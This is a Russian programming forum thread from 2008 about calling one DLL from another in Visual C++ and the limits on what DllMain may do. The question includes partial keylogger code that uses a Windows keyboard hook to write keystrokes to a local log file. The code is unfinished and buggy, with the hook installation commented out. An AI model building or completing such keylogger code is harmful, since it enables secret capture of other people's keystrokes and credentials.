Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Как вызвать dll из другой dll ?

14K
12 июня 2008 года
2504
33 / / 27.03.2007
Есть проект на VS 2005 C++;
Я там подключаю 1.dll и из неё я должен запустить функцию из 2.dll.
Проблема. Если я в 1.dll подключаю 2.dll вот так:
 
Код:
#include "..\..\ExHook\ExHook\ExHook.h"
#pragma comment(lib,"ExHook.lib");

то она подключается, но тогда в 1.dll не работает DllMain, когда я ее вызываю из приложения.
Если закоментить #pragma comment(lib,"ExHook.lib"); в 1.dll то DllMain отработает, но тогда не хочет подключатся 2.dll.
 
Код:
ExDLL.obj : error LNK2019: unresolved external symbol "__declspec(dllimport) void __cdecl InstallHook(void)" (__imp_?InstallHook@@YAXXZ) referenced in function _DllMain@12


Как мне подключить в длл другую длл?
ниже коды длл.

1.длл
Код:
#define DLL extern "C";__declspec(dllexport)
#include "windows.h"
#include "ExDLL.h"
#include "..\..\ExHook\ExHook\ExHook.h"
#pragma comment(lib,"ExHook.lib");

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
   
    MessageBoxA(NULL," Хук !!! ","О!",MB_OK);
    InstallHook();

    return TRUE;
};

2.dll
Код:
#include "windows.h"
#define EX extern "C"; __declspec(dllexport)
#include "ExHook.h"
#include "atlstr.h"
#include "stdio.h"  
HHOOK hook = NULL;
HINSTANCE hInstance = NULL;
//HWND hwnd = NULL;
char *ph;
FILE *diskfile;
char buffer[20];

LRESULT CALLBACK HookProc(int ncode,WPARAM wparam,LPARAM lparam)
{
    //Функция обработки Хука
    if(ncode>=0)
    {
        if((lparam & 0x80000000) == 0x00000000)//Проверка на нажатие кнопки (не на освобождение !!!)
        {
            MessageBoxA(NULL,"HookProc !!! ","HookProc!",MB_OK);


            //Путь где будет находиться лог-файл
            ph="D:\\Keylog.txt";
            //ph="%systemdrive%";

            if (!(diskfile =fopen(ph, "a")))
            {
                return false;
            }

            // Получение дескриптора файла
            //int handle=_fileno(diskfile);

            // выделение памяти под буффер
            char *data=new char[100];

            if(!data){
                return false;
            }

            GetKeyNameText(lparam,data,strlen(data));

            fwrite(data,sizeof(char),strlen(data),diskfile);

            // Закрытие файлов
            fclose(diskfile);
        }
    }

    //Вызываем следующую функцию из цепочки хуков
    return ( CallNextHookEx(hook,ncode,wparam,lparam) );

}

void InstallHook()
{
    MessageBoxA(NULL,"ExHOOK !!! ","Main!",MB_OK);

    /*hook = SetWindowsHookEx(WH_KEYBOARD,HookProc,hInstance,NULL);
    DWORD dw = GetLastError();
    TCHAR szBuf[80];
    MessageBox(NULL, szBuf, "Error", MB_OK);

    if(hook==NULL)
        MessageBoxA(NULL,"Невозможно установить Хук !!! ","Ошибка!",MB_OK);*/
}
void RemoveHook()
{
    //Удаляем Хук
    UnhookWindowsHookEx(hook);
}
562
13 июня 2008 года
tarekon
175 / / 19.08.2003
Как ты проверяешь, что в DllMain не было входа? Ставишь точку останова и запускаешь под дебаггером?

Вообще, в DllMain не рекомендуется делать нетривиальных вещей, особенно вызывать функции из других DLL.
3
13 июня 2008 года
Green
4.8K / / 20.01.2000
Цитата: tarekon

Вообще, в DllMain не рекомендуется делать нетривиальных вещей, особенно вызывать функции из других DLL.


А в чем нетривиальность вызова функций других DLL?

Единственное ограничение на DllMain в том, что на этапе её вызова не поддерживается многопоточность.

562
13 июня 2008 года
tarekon
175 / / 19.08.2003
[QUOTE=MSDN]The entry-point function should perform only simple initialization or termination tasks. It must not call the LoadLibrary or LoadLibraryEx function (or a function that calls these functions), because this may create dependency loops in the DLL load order. This can result in a DLL being used before the system has executed its initialization code. Similarly, the entry-point function must not call the FreeLibrary function (or a function that calls FreeLibrary) during process termination, because this can result in a DLL being used after the system has executed its termination code.
[/QUOTE]

[QUOTE=MSDN]Calling functions that require DLLs other than Kernel32.dll may result in problems that are difficult to diagnose. For example, calling User, Shell, and COM functions can cause access violation errors, because some functions load other system components. Conversely, calling functions such as these during termination can cause access violation errors because the corresponding component may already have been unloaded or uninitialized.[/QUOTE]

Вообще полезно почитать статью на MSDN. В ней также есть ссылка на "best practices when writing a DLL".

Я не говорю, что совсем нельзя. Я говорю, что лучше не стоит. На всякий случай :). Вот автор MessageBox использует, что может к всяким бякам приводить.
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог